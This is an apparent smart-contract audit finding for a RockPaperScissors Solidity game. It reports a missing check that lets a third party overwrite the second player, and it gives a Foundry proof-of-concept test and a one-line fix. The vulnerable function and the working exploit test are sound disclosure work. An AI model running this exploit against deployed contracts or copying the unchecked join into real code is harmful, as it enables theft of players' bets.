In the RockPaperScissors contract, when a player joins an existing game, there's no check to verify if playerB is already set. This allows a malicious third party to overwrite an existing playerB, effectively hijacking the game and stealing the original playerB's funds or tokens.
function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
The original playerB has now lost their bet amount with no way to recover it, as they are no longer recognized as a participant in the game.
This vulnerability undermines the fundamental fairness and security of the game, allowing for straightforward theft of user funds.
pragma solidity ^0.8.13;
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {RockPaperScissors} from "../../src/RockPaperScissors.sol";
import {WinningToken} from "../../src/WinningToken.sol";
contract PlayerBOverwritePOC is Test {
RockPaperScissors public rps;
address public admin = address(0x1);
address public playerA = address(0x2);
address public legitimatePlayerB = address(0x3);
address public maliciousPlayerC = address(0x4);
uint256 public betAmount = 0.1 ether;
uint256 public totalTurns = 3;
uint256 public timeoutInterval = 5 minutes;
function setUp() public {
vm.startPrank(admin);
rps = new RockPaperScissors();
vm.stopPrank();
vm.deal(playerA, 1 ether);
vm.deal(legitimatePlayerB, 1 ether);
vm.deal(maliciousPlayerC, 1 ether);
}
function testPlayerBOverwrite() public {
vm.startPrank(playerA);
uint256 gameId = rps.createGameWithEth{value: betAmount}(totalTurns, timeoutInterval);
vm.stopPrank();
console.log("Game created by playerA with ID:", gameId);
vm.startPrank(legitimatePlayerB);
rps.joinGameWithEth{value: betAmount}(gameId);
vm.stopPrank();
console.log("LegitimatePlayerB joined the game");
RockPaperScissors.Game memory game = getGameData(gameId);
console.log("PlayerB after legitimate join:", game.playerB);
assert(game.playerB == legitimatePlayerB);
vm.startPrank(maliciousPlayerC);
rps.joinGameWithEth{value: betAmount}(gameId);
vm.stopPrank();
console.log("MaliciousPlayerC joined the same game");
game = getGameData(gameId);
console.log("PlayerB after malicious join:", game.playerB);
assert(game.playerB == maliciousPlayerC);
console.log("VULNERABILITY CONFIRMED: PlayerB was overwritten!");
uint256 contractBalance = address(rps).balance;
console.log("Contract balance:", contractBalance);
assert(contractBalance == betAmount * 3);
console.log("Contract has received 3 bet payments");
}
function getGameData(uint256 _gameId) internal view returns (RockPaperScissors.Game memory) {
(
address _playerA,
address playerB,
uint256 bet,
uint256 _timeoutInterval,
uint256 revealDeadline,
uint256 creationTime,
uint256 joinDeadline,
uint256 _totalTurns,
uint256 currentTurn,
bytes32 commitA,
bytes32 commitB,
RockPaperScissors.Move moveA,
RockPaperScissors.Move moveB,
uint8 scoreA,
uint8 scoreB,
RockPaperScissors.GameState state
) = rps.games(_gameId);
return RockPaperScissors.Game({
playerA: _playerA,
playerB: playerB,
bet: bet,
timeoutInterval: _timeoutInterval,
revealDeadline: revealDeadline,
creationTime: creationTime,
joinDeadline: joinDeadline,
totalTurns: _totalTurns,
currentTurn: currentTurn,
commitA: commitA,
commitB: commitB,
moveA: moveA,
moveB: moveB,
scoreA: scoreA,
scoreB: scoreB,
state: state
});
}
}
Add a check to verify if playerB is already set before allowing a new player to join:
function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet");
require(game.playerB == address(0), "Game already has a second player");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}